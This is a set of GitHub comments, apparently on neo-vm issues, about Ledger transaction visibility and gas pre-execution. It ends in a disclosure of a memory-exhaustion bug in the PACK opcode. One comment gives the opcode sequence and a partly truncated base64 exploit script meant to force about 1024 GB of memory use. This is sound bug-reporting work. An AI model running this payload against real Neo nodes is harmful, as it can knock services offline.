Jimmy

Results 527 comments of Jimmy

I think you can find the answer in your code, you were asking your transaction from the `Ledger` while your transaction was not in the `Ledger`, it was still persisting.

> So, it's by design, not bug? At least you should not expect to get persisting transactions in a `Ledger`. The `Ledger` only contains persisted transactions.

> Any updates? I think it's a bug, do you agree? Why do you think it is a bug?

- a transaction in execution is not on the chain, on the chain means in the ledger - Qiao-Jin answers well. - contract does not handle fees. - pre-execution could...

> Assuming that pre-execution requires 2GAS and the actual execution has a 20% chance of requiring 2.01GAS, I would rather add 0.01 GAS to each transaction, otherwise I would lose...

The `ResultStack` is 2GB ![image](https://user-images.githubusercontent.com/10189511/156596796-afcad9eb-4e1e-4920-b99a-92fb671dde5a.jpeg)

Based on @dusmart 's exploit, construct a new exploit that requires 1024 GB of memory: newbuffer, dup, dup,,,,,,,pack(from here, every stackitem is **1GB**), dup, dup, dup, dup, dup `AgAAEACISkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkp KSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKS...

@ZhangTao1596 Nop, i checked the code, no size check under the `PACK` OpCode Just create 1024 1MB buffers, then pack them together,,,,,,, Similar Opcodes that can bypass the size limitation:...

> @Liaojinghui Can you look at https://github.com/neo-project/neo-vm/blob/b18e040d2115ed2ea3c9a60ae8722a7865b38927/src/neo-vm/ExecutionEngine.cs#L1643. I'm not sure if items packed are still count in ReferenceCounter. @ZhangTao1596 The `MaxStackSize` here is the number of items It wont stop...

I noticed this a long time ago, but the `high memory usage` wont last forever, it will decrease or reach a plateau